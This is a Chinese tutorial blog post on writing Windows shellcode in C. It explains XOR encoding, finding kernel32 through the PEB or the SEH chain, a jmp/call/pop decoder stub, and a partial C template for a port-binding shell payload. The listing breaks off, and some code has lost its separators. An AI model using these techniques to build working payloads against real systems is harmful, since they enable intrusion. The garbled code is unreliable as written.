关于Windows下ShellCode编写的一点思考
By Hume/冷雨
关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。
我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。
就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。其中的一些问题有:
1.KERNEL基地址的定位和API函数地址的获取
原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:mov eax fs:0x30
mov eax [eax + 0x0c]
mov esi [eax + 0x1c]
lodsd
mov ebp [eax + 0x08] //ebp 就是kernel32.dll的地址了这种方法比较通用,适用于2K/XP/2003。
另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。2.几段代码的作用
在ShellCode提取代码中你或许会经常见到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:jmp function
上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。
还有在代码中会看到:
jmpdecode_enddecode_start:
popedx
.......
decode_end:
calldecode_start
Shell_start: 之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。3.关于局部变量的地址顺序
在原程序中采用了如下局部变量结构:
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROCprocloadlib; FARPROC apifnadd[1];
以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>void shell();
void __cdecl main(int argcchar *argv[])
{
FARPROC arg1;
FARPROC arg2;
FARPROC arg3;
FARPROC arg4;
FARPROC arg5;
int par1;
int par2;
int par3;
int par4;
char ch; printf("Size of FARPROC %d "sizeof(FARPROC));
printf(" %X %X %X %X %X %X %X %X %X %X "
&arg1
&arg2
&arg3
&arg4
&arg5
&par1
&par2
&par3
&par4
&ch );
}
在我机器上产生的输出是:12FF7C
12FF78
12FF74
12FF70
12FF68 12FF6C
12FF64
12FF60
12FF5C
12FF58这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。4.more
关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。
5.代码
可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
API[_APINAME](param....param); 即可。
如果没注释掉有#defineDEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。thats ALL。
-------------------------------------------
/*
使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>#defineDEBUG 1
//
//函数原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff int buffsize);//
//用到的部分定义
//
#defineBEGINSTRLEN0x08//开始字符串长度
#defineENDSTRLEN0x08//结束标记字符的长度
#definenop_CODE 0x90//填充字符
#definenop_LEN0x0 //ShellCode起始的填充长度
#defineBUFFSIZE 0x20000 //输出缓冲区大小#definesc_PORT7788//绑定端口号 0x1e6c
#definesc_BUFFSIZE0x2000//ShellCode缓冲区大小#defineEnc_key0x7A//编码密钥
#defineMAX_Enc_Len0x400 //加密代码的最大长度 1024足够?
#defineMAX_Sc_Len 0x2000//hellCode的最大长度 8192足够?
#defineMAX_api_strlen 0x400 //APIstr字符串的长度
#defineAPI_endstr "strend"//API结尾标记字符串
#defineAPI_endstrlen0x06//标记字符串长度#define PROC_BEGIN __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90
__asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90
#define PROC_END PROC_
补充:综合编程 , 安全编程 ,